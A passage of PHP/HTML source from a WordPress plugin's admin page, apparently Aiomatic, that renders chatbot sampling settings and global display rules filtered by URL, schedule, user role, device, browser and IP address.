class="hideVision"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable vision for the chatbot. Note that to use this feature, you will need an AI model which supports vision.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Chatbot Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="enable_vision" name="aiomatic_Chatbot_Settings[enable_vision]" <?php if ($assistant_id != '') { $assistant_model = get_post_meta($assistant_id, '_assistant_model', true); if(!empty($assistant_model)) { if(!aiomatic_is_vision_model($assistant_model, '')) { echo 'disabled title="Disabled when using AI Assistants which use models which don\'t support AI Vision"'; } } else { echo 'disabled title="No AI model added to this assistant"'; } } ?>class="cr_width_full"> <option value="on" <?php if($enable_vision == 'on'){echo ' selected';}?> ><?php echo esc_html__("On", 'aiomatic-automatic-ai-content-writer');?></option> <option value="off" <?php if($enable_vision == 'off'){echo ' selected';}?> ><?php echo esc_html__("Off", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" id="temperature" max="2" name="aiomatic_Chatbot_Settings[temperature]" <?php if ($assistant_id != ''){echo 'disabled title="Disabled when using AI Assistants"';}?>class="cr_width_full" value="<?php echo esc_html($temperature);?>" placeholder="1"> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" max="1" id="top_p" name="aiomatic_Chatbot_Settings[top_p]" <?php if ($assistant_id != ''){echo 'disabled title="Disabled when using AI Assistants"';}?>class="cr_width_full" value="<?php echo esc_html($top_p);?>" placeholder="1"> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="-2" step="0.01" max="2" id="presence_penalty" <?php if ($assistant_id != ''){echo 'disabled title="Disabled when using AI Assistants"';}?>name="aiomatic_Chatbot_Settings[presence_penalty]" class="cr_width_full" value="<?php echo esc_html($presence_penalty);?>" placeholder="0"> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="-2" step="0.01" max="2" id="frequency_penalty" <?php if ($assistant_id != ''){echo 'disabled title="Disabled when using AI Assistants"';}?>name="aiomatic_Chatbot_Settings[frequency_penalty]" class="cr_width_full" value="<?php echo esc_html($frequency_penalty);?>" placeholder="0"> </td></tr> </table> </div> <div id="tab-5" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("Global Chatbots Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to inject the chatbot globally, to the entire front end and/or back end of your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Inject Chatbot Globally To Your Site:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="enable_front_end" onchange="aiomatic_global_changed();" name="aiomatic_Chatbot_Settings[enable_front_end]" > <?php echo '<option' . ($enable_front_end == 'off' ? ' selected': '') . ' value="off">Off</option>'; echo '<option' . ($enable_front_end == 'front' ? ' selected': '') . ' value="front">Front End</option>'; echo '<option' . ($enable_front_end == 'back' ? ' selected': '') . ' value="back">Back End</option>'; echo '<option' . ($enable_front_end == 'both' ? ' selected': '') . ' value="both">Front End & Back End</option>'; ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select where you want to show the embedded chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Location:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="window_location" name="aiomatic_Chatbot_Settings[window_location]" > <?php echo '<option' . ($window_location == 'bottom-right' ? ' selected': '') . ' value="bottom-right">Bottom Right</option>'; echo '<option' . ($window_location == 'bottom-left' ? ' selected': '') . ' value="bottom-left">Bottom Left</option>'; echo '<option' . ($window_location == 'top-right' ? ' selected': '') . ' value="top-right">Top Right</option>'; echo '<option' . ($window_location == 'top-left' ? ' selected': '') . ' value="top-left">Top Left</option>'; ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to automatically open the globally injected chatbot at page load.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Open Chatbot On Page Load:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="page_load_chat" name="aiomatic_Chatbot_Settings[page_load_chat]"<?php if ($page_load_chat == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the width of the chatbot form embedded. Default is 460px", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="window_width" name="aiomatic_Chatbot_Settings[window_width]" class="cr_width_full" value="<?php echo esc_html($window_width);?>" placeholder="400px"> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a icon which will open the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Open Icon:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="0"<?php if ($chatbot_icon == '0') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/0.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="1"<?php if ($chatbot_icon == '1') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/1.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="2"<?php if ($chatbot_icon == '2') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/2.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="3"<?php if ($chatbot_icon == '3') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/3.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="4"<?php if ($chatbot_icon == '4') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/4.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="5"<?php if ($chatbot_icon == '5') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/5.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="6"<?php if ($chatbot_icon == '6') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/6.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="7"<?php if ($chatbot_icon == '7') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/7.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="8"<?php if ($chatbot_icon == '8') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/8.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="9"<?php if ($chatbot_icon == '9') echo ' checked '; ?>><img src="<?php echo plugins_url('icons/9.png', __FILE__);?>" width="32" height="32"><br> <input type="radio" name="aiomatic_Chatbot_Settings[chatbot_icon]" value="x"<?php if ($chatbot_icon == 'x') echo ' checked '; ?>><?php echo esc_html__("Your Own HTML Or Image URL:", 'aiomatic-automatic-ai-content-writer');?><input type="text" value="<?php echo esc_html($chatbot_icon_html);?>" placeholder="Your HTML content" name="aiomatic_Chatbot_Settings[chatbot_icon_html]" /> </div> </td></tr> <tr class="hideInject"><td colspan="2"> <h2><?php echo esc_html__("Default Global Chatbot Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a custom chatbot shortcode to be used when displaying the globally injected shortcode. To inject the default chatbot, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Chatbot Shortcode To Be Injected Globally:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" name="aiomatic_Chatbot_Settings[custom_global_shortcode]" placeholder="<?php echo esc_html__("Add a custom chatbot shortcode to be injected globally to your site (optional)", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($custom_global_shortcode); ?></textarea> </div> </td></tr> <tr class="hideInject"><td colspan="2"> <h2><?php echo esc_html__("Default Global Chatbot Restrictions:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of URL where to not show the chatbot. You can enter multiple URLs, each on a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot On These URLs:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" name="aiomatic_Chatbot_Settings[not_show_urls]" placeholder="URL list, each on a new line"><?php echo esc_textarea($not_show_urls); ?></textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of URL only where to show the chatbot. You can enter multiple URLs, each on a new line. If you enter a list of URLs, the chatbot will be shown only on these URls and not on any other URLs from your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only On These URLs:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" name="aiomatic_Chatbot_Settings[only_show_urls]" placeholder="URL list, each on a new line"><?php echo esc_textarea($only_show_urls); ?></textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the hour period of each day, when you want to show the chatbot embedded on your site. Your current server time is: ", 'aiomatic-automatic-ai-content-writer') . date("h:i A"); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Between Specific Hours Each Day:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="time" id="min_time" name="aiomatic_Chatbot_Settings[min_time]" value="<?php echo esc_attr($min_time); ?>" placeholder="Show the Chatbot Only After This Hour"> - <input type="time" id="max_time" name="aiomatic_Chatbot_Settings[max_time]" value="<?php echo esc_attr($max_time); ?>" placeholder="Show the Chatbot Only Before This Hour"> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the days of the week, when you want to always show the chatbot (regardless of the above hour limitations).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Days When To Always Show The Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="always_show" multiple name="aiomatic_Chatbot_Settings[always_show][]" class="cr_width_full"> <?php echo '<option' . (in_array('Monday', $always_show) ? ' selected': '') . ' value="Monday">Monday</option>'; echo '<option' . (in_array('Tuesday', $always_show) ? ' selected': '') . ' value="Tuesday">Tuesday</option>'; echo '<option' . (in_array('Wednesday', $always_show) ? ' selected': '') . ' value="Wednesday">Wednesday</option>'; echo '<option' . (in_array('Thursday', $always_show) ? ' selected': '') . ' value="Thursday">Thursday</option>'; echo '<option' . (in_array('Friday', $always_show) ? ' selected': '') . ' value="Friday">Friday</option>'; echo '<option' . (in_array('Saturday', $always_show) ? ' selected': '') . ' value="Saturday">Saturday</option>'; echo '<option' . (in_array('Sunday', $always_show) ? ' selected': '') . ' value="Sunday">Sunday</option>'; ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the days of the week, when you want to never show the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Days When To Never Show The Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="never_show" multiple name="aiomatic_Chatbot_Settings[never_show][]" class="cr_width_full"> <?php echo '<option' . (in_array('Monday', $never_show) ? ' selected': '') . ' value="Monday">Monday</option>'; echo '<option' . (in_array('Tuesday', $never_show) ? ' selected': '') . ' value="Tuesday">Tuesday</option>'; echo '<option' . (in_array('Wednesday', $never_show) ? ' selected': '') . ' value="Wednesday">Wednesday</option>'; echo '<option' . (in_array('Thursday', $never_show) ? ' selected': '') . ' value="Thursday">Thursday</option>'; echo '<option' . (in_array('Friday', $never_show) ? ' selected': '') . ' value="Friday">Friday</option>'; echo '<option' . (in_array('Saturday', $never_show) ? ' selected': '') . ' value="Saturday">Saturday</option>'; echo '<option' . (in_array('Sunday', $never_show) ? ' selected': '') . ' value="Sunday">Sunday</option>'; ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the WordPress content where to not show the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot On This WordPress Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="no_show_content_wp" multiple name="aiomatic_Chatbot_Settings[no_show_content_wp][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $no_show_content_wp ) ? $no_show_content_wp : [ '*' ]; echo aiomatic_get_wordpress_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the WordPress content only where to show the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only On This WordPress Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_content_wp" multiple name="aiomatic_Chatbot_Settings[show_content_wp][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $show_content_wp ) ? $show_content_wp : [ '*' ]; echo aiomatic_get_wordpress_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the languages for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Languages:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="no_show_locales" multiple name="aiomatic_Chatbot_Settings[no_show_locales][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $no_show_locales ) ? $no_show_locales : [ '' ]; echo aiomatic_get_locales_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the languages for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Languages:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_locales" multiple name="aiomatic_Chatbot_Settings[show_locales][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $show_locales ) ? $show_locales : [ '' ]; echo aiomatic_get_locales_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the user roles for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These User Roles:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="no_show_roles" multiple name="aiomatic_Chatbot_Settings[no_show_roles][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $no_show_roles ) ? $no_show_roles : [ '' ]; echo aiomatic_get_user_roles_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the user roles for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These User Roles:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_roles" multiple name="aiomatic_Chatbot_Settings[show_roles][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $show_roles ) ? $show_roles : [ '' ]; echo aiomatic_get_user_roles_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the devices for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Devices:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="no_show_devices" multiple name="aiomatic_Chatbot_Settings[no_show_devices][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $no_show_devices ) ? $no_show_devices : [ '' ]; echo aiomatic_get_devices_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the devices for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Devices:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_devices" multiple name="aiomatic_Chatbot_Settings[show_devices][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $show_devices ) ? $show_devices : [ '' ]; echo aiomatic_get_devices_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Operating Systems for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Operating Systems:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="no_show_oses" multiple name="aiomatic_Chatbot_Settings[no_show_oses][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $no_show_oses ) ? $no_show_oses : [ '' ]; echo aiomatic_get_oses_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Operating Systems for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Operating Systems:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_oses" multiple name="aiomatic_Chatbot_Settings[show_oses][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $show_oses ) ? $show_oses : [ '' ]; echo aiomatic_get_oses_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Browsers for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Browsers:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="no_show_browsers" multiple name="aiomatic_Chatbot_Settings[no_show_browsers][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $no_show_browsers ) ? $no_show_browsers : [ '' ]; echo aiomatic_get_browsers_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Browsers for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Browsers:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="show_browsers" multiple name="aiomatic_Chatbot_Settings[show_browsers][]" class="resize_vertical cr_width_full"> <?php $selected = is_array( $show_browsers ) ? $show_browsers : [ '' ]; echo aiomatic_get_browsers_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the IP Addresses for which the chatbot will not be shown. List of IP addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These IP Addresses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div><textarea rows="2" name="aiomatic_Chatbot_Settings[no_show_ips]" placeholder="<?php echo esc_html__("IP Addresses / Ranges", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($no_show_ips); ?></textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the IP Addresses for only which the chatbot will be shown. List of IP addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These IP Addresses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div><textarea rows="2" name="aiomatic_Chatbot_Settings[show_ips]" placeholder="<?php echo esc_html__("IP Addresses / Ranges", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($show_ips); ?></textarea> </div> </td></tr> <tr class="hideInject"><td colspan="2"> <h2><?php echo esc_html__("Additional Global Chatbot Rules:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr class="hideInject"><td colspan="2"> <table class="widefat"> <tr class="aiomatic-title-holder"> <td> <input name="aiomatic_chat_nonce" type="hidden" value="<?php echo wp_create_nonce('aiomatic_chat_nonce');?>"> <input type="hidden" id="aiomatic_chat_json" name="aiomatic_Chatbot_Settings[aiomatic_chat_json]" value="<?php echo esc_attr($aiomatic_chat_json);?>"> <hr/> <div class="table-responsive"> <div id="grid-keywords-chatbot-aiomatic"> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo '[aiomatic-chat-form] ' . esc_html__("Shortcode", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the chatbot shortcode which will be used for the global website injection.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Settings", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set more configurations and restrictions for this chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-keywords-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <?php echo aiomatic_expand_chatbot_rules($aiomatic_chat_json); $chuniqid = uniqid(); ?> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div class="cr_center"><input type="text" id="<?php echo $chuniqid;?>rule_description" onchange="anyNewChatChanged();" placeholder="Rule ID" value="" class="cr_width_full"/></div> <div class="cr_center"><textarea rows="1" data-id="<?php echo $chuniqid;?>" id="<?php echo $chuniqid;?>shortcode" onchange="anyNewChatChanged();" class="chatbotShortcodeImportant cr_width_full" placeholder="<?php echo esc_html__("Please insert the chatbot shortcode to be injected globally", 'aiomatic-automatic-ai-content-writer');?>"></textarea></div> <div class="cr_center"> <input type="button" id="mybtnchatfzr" value="Settings" onclick="document.getElementById('mymodalchatfzr').style.display = 'block';"> <div id="mymodalchatfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_chat_close" class="codeclosefzr" onclick="document.getElementById('mymodalchatfzr').style.display = 'none';">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of URL where to not show the chatbot. You can enter multiple URLs, each on a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot On These URLs:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" id="<?php echo $chuniqid;?>not_show_urls" onchange="anyNewChatChanged();" placeholder="URL list, each on a new line"></textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of URL only where to show the chatbot. You can enter multiple URLs, each on a new line. If you enter a list of URLs, the chatbot will be shown only on these URls and not on any other URLs from your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only On These URLs:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" id="<?php echo 